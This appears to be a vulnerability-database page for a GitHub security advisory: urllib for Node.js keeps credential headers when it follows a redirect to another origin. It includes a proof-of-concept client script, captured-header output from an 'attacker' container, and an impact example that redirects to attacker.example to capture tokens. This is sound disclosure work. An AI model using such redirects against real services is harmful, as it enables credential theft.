GHSA-HQ3H-G68C-HP78

Vulnerability from github – Published: 2026-08-25 16:19 – Updated: 2026-08-25 16:19
VLAI
Summary
urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage
Details

Summary

urllib supports redirect-following through followRedirect, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a different origin, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as Authorization, Cookie, Proxy-Authorization, and custom auth headers (x-api-key, x-auth-token, x-access-token).

If the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.

Affected behavior

Confirmed against urllib v4.9.0. The relevant code is in #requestInternal (src/HttpClient.ts:639-656):

     // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections
      if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects < maxRedirects) {
        if (res.headers.location) {
          requestContext.redirects++;
          const nextUrl = new URL(res.headers.location, requestUrl.href);
          // Ensure the response is consumed
          await response.body.arrayBuffer();
          debug(
            'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s',
            requestId,
            res.status,
            res.headers,
            res.timing,
            nextUrl.href,
          );
          return await this.#requestInternal(nextUrl.href, options, requestContext);
        }
      }

The recursive call this.#requestInternal(nextUrl.href, options, requestContext) reuses the original options object. If the caller supplied credential-bearing headers in options.headers, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.

Redirect-header handling context

The CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up Host during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.

Proof of Concept: 3-container topology

The reproduction uses three separate containers (partner, attacker, client) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a localhost vs 127.0.0.1 same-host case.

[client container]                       [partner container]              [attacker container]
hostname: client                         hostname: partner                hostname: attacker
                                         port: 3001                       port: 3002
   urllib v4.9.0
        │
        │ GET http://partner:3001/start
        │ + 6 credential-bearing headers
        ↓
                                         302 Location:
                                         http://attacker:3002/captured
                                                   │
                                                   │ urllib follows redirect
                                                   │ → DIFFERENT ORIGIN
                                                   │   (different hostname and port)
                                                   │ → all 6 headers preserved
                                                   ↓
                                                                          headers logged
                                                                          inside attacker
                                                                          container

The origin tuple is (scheme, host, port):

  • source origin: http://partner:3001
  • destination origin: http://attacker:3002

The host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.

Client invocation (client/poc.mjs):

import urllib from 'urllib' // v4.9.0

await urllib.request('http://partner:3001/start', {
  followRedirect: true,
  maxRedirects: 5,
  headers: {
    'Authorization': 'Bearer LIVE-AUTH-3CONTAINER',
    'Cookie': 'session=LIVE-COOKIE-3CONTAINER',
    'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER',
    'x-api-key': 'sk-LIVE-3CONTAINER-x123',
    'x-auth-token': 'auth-LIVE-3CONTAINER-y456',
    'x-access-token': 'access-LIVE-3CONTAINER-z789',
  },
})

Observed result
urllib 4.9.0, Node.js 22.22.2, linux/arm64:

[attacker] CAPTURED HEADERS:
  "authorization":       "Bearer LIVE-AUTH-3CONTAINER"
  "cookie":              "session=LIVE-COOKIE-3CONTAINER"
  "proxy-authorization": "Bearer proxy-LIVE-3CONTAINER"
  "x-api-key":           "sk-LIVE-3CONTAINER-x123"
  "x-auth-token":        "auth-LIVE-3CONTAINER-y456"
  "x-access-token":      "access-LIVE-3CONTAINER-z789"
  "user-agent":          "node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)"

LEAK RATE: 6/6

The user-agent value confirms that the redirected request was sent by urllib v4.9.0.

Independent reproduction: multi-library comparison

A separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:

  • same partner:3001 → attacker:3002 redirect;
  • same six credential-bearing headers;
  • same RFC 6454 origin boundary.

The results were deterministic across runs:

Library Leak rate Headers stripped on cross-origin redirect
undici 6.21.0 3/6 authorization, cookie, proxy-authorization
needle 3.5.0 3/6 authorization, cookie, proxy-authorization
node-fetch 3.3.2 4/6 authorization, cookie
superagent 10.3.0 4/6 authorization, cookie
@hapi/wreck 18.1.0 4/6 authorization, cookie
request 2.88.2 5/6 authorization
urllib 4.9.0 6/6 none

urllib was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as x-api-key, x-auth-token, and x-access-token are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as Authorization, Cookie, and Proxy-Authorization.

The reproduction harness is small and can be shared if useful.

Impact

This affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.

1. Application sends an authenticated request:
     GET https://api.partner.example/data
     Authorization: Bearer <token>
     Cookie: session=<session-id>

2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:
     302 Location: https://attacker.example/captured

3. urllib follows the redirect and sends the original Authorization and Cookie headers
   to attacker.example.

This exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.

This requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.9.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "urllib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "4.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.44.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "urllib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.44.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-201",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T16:19:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nurllib supports redirect-following through `followRedirect`, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a **different origin**, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as `Authorization`, `Cookie`, `Proxy-Authorization`, and custom auth headers (`x-api-key`, `x-auth-token`, `x-access-token`).\n\nIf the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.\n\n## Affected behavior\n\nConfirmed against urllib v4.9.0. The relevant code is in `#requestInternal` ([`src/HttpClient.ts:639-656`](https://github.com/node-modules/urllib/blob/master/src/HttpClient.ts#L639-L656)):\n\n```ts\n     // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections\n      if (RedirectStatusCodes.includes(res.statusCode) \u0026\u0026 maxRedirects \u003e 0 \u0026\u0026 requestContext.redirects \u003c maxRedirects) {\n        if (res.headers.location) {\n          requestContext.redirects++;\n          const nextUrl = new URL(res.headers.location, requestUrl.href);\n          // Ensure the response is consumed\n          await response.body.arrayBuffer();\n          debug(\n            \u0027Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s\u0027,\n            requestId,\n            res.status,\n            res.headers,\n            res.timing,\n            nextUrl.href,\n          );\n          return await this.#requestInternal(nextUrl.href, options, requestContext);\n        }\n      }\n```\n\nThe recursive call `this.#requestInternal(nextUrl.href, options, requestContext)` reuses the original `options` object. If the caller supplied credential-bearing headers in `options.headers`, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.\n\n## Redirect-header handling context\n\nThe CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up `Host` during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.\n\n## Proof of Concept: 3-container topology\n\nThe reproduction uses three separate containers (`partner`, `attacker`, `client`) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a `localhost` vs `127.0.0.1` same-host case.\n\n```text\n[client container]                       [partner container]              [attacker container]\nhostname: client                         hostname: partner                hostname: attacker\n                                         port: 3001                       port: 3002\n   urllib v4.9.0\n        \u2502\n        \u2502 GET http://partner:3001/start\n        \u2502 + 6 credential-bearing headers\n        \u2193\n                                         302 Location:\n                                         http://attacker:3002/captured\n                                                   \u2502\n                                                   \u2502 urllib follows redirect\n                                                   \u2502 \u2192 DIFFERENT ORIGIN\n                                                   \u2502   (different hostname and port)\n                                                   \u2502 \u2192 all 6 headers preserved\n                                                   \u2193\n                                                                          headers logged\n                                                                          inside attacker\n                                                                          container\n```\n\nThe origin tuple is `(scheme, host, port)`:\n\n- source origin: `http://partner:3001`\n- destination origin: `http://attacker:3002`\n\nThe host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.\n\n**Client invocation** (`client/poc.mjs`):\n\n```javascript\nimport urllib from \u0027urllib\u0027 // v4.9.0\n\nawait urllib.request(\u0027http://partner:3001/start\u0027, {\n  followRedirect: true,\n  maxRedirects: 5,\n  headers: {\n    \u0027Authorization\u0027: \u0027Bearer LIVE-AUTH-3CONTAINER\u0027,\n    \u0027Cookie\u0027: \u0027session=LIVE-COOKIE-3CONTAINER\u0027,\n    \u0027Proxy-Authorization\u0027: \u0027Bearer proxy-LIVE-3CONTAINER\u0027,\n    \u0027x-api-key\u0027: \u0027sk-LIVE-3CONTAINER-x123\u0027,\n    \u0027x-auth-token\u0027: \u0027auth-LIVE-3CONTAINER-y456\u0027,\n    \u0027x-access-token\u0027: \u0027access-LIVE-3CONTAINER-z789\u0027,\n  },\n})\n```\n\n**Observed result**  \nurllib 4.9.0, Node.js 22.22.2, linux/arm64:\n\n```text\n[attacker] CAPTURED HEADERS:\n  \"authorization\":       \"Bearer LIVE-AUTH-3CONTAINER\"\n  \"cookie\":              \"session=LIVE-COOKIE-3CONTAINER\"\n  \"proxy-authorization\": \"Bearer proxy-LIVE-3CONTAINER\"\n  \"x-api-key\":           \"sk-LIVE-3CONTAINER-x123\"\n  \"x-auth-token\":        \"auth-LIVE-3CONTAINER-y456\"\n  \"x-access-token\":      \"access-LIVE-3CONTAINER-z789\"\n  \"user-agent\":          \"node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)\"\n\nLEAK RATE: 6/6\n```\n\nThe `user-agent` value confirms that the redirected request was sent by urllib v4.9.0.\n\n## Independent reproduction: multi-library comparison\n\nA separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:\n\n- same `partner:3001 \u2192 attacker:3002` redirect;\n- same six credential-bearing headers;\n- same RFC 6454 origin boundary.\n\nThe results were deterministic across runs:\n\n| Library | Leak rate | Headers stripped on cross-origin redirect |\n|---|---:|---|\n| undici 6.21.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| needle 3.5.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| node-fetch 3.3.2 | 4/6 | `authorization`, `cookie` |\n| superagent 10.3.0 | 4/6 | `authorization`, `cookie` |\n| @hapi/wreck 18.1.0 | 4/6 | `authorization`, `cookie` |\n| request 2.88.2 | 5/6 | `authorization` |\n| **urllib 4.9.0** | **6/6** | **none** |\n\n`urllib` was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as `x-api-key`, `x-auth-token`, and `x-access-token` are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as `Authorization`, `Cookie`, and `Proxy-Authorization`.\n\nThe reproduction harness is small and can be shared if useful.\n\n## Impact\n\nThis affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.\n\n```text\n1. Application sends an authenticated request:\n     GET https://api.partner.example/data\n     Authorization: Bearer \u003ctoken\u003e\n     Cookie: session=\u003csession-id\u003e\n\n2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:\n     302 Location: https://attacker.example/captured\n\n3. urllib follows the redirect and sends the original Authorization and Cookie headers\n   to attacker.example.\n```\n\nThis exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.\n\nThis requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib\u0027s call site.",
  "id": "GHSA-hq3h-g68c-hp78",
  "modified": "2026-08-25T16:19:32Z",
  "published": "2026-08-25T16:19:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/urllib/security/advisories/GHSA-hq3h-g68c-hp78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/urllib/pull/812"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/urllib/pull/813"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/urllib/commit/7c86c465883ebd3dea5109c87d7bbe3b00960a16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/urllib/commit/811a8d56e64e540bf6a19bf8b3737692f05d5c46"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/node-modules/urllib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/urllib/releases/tag/v2.44.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/urllib/releases/tag/v4.9.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "urllib\u0027s cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…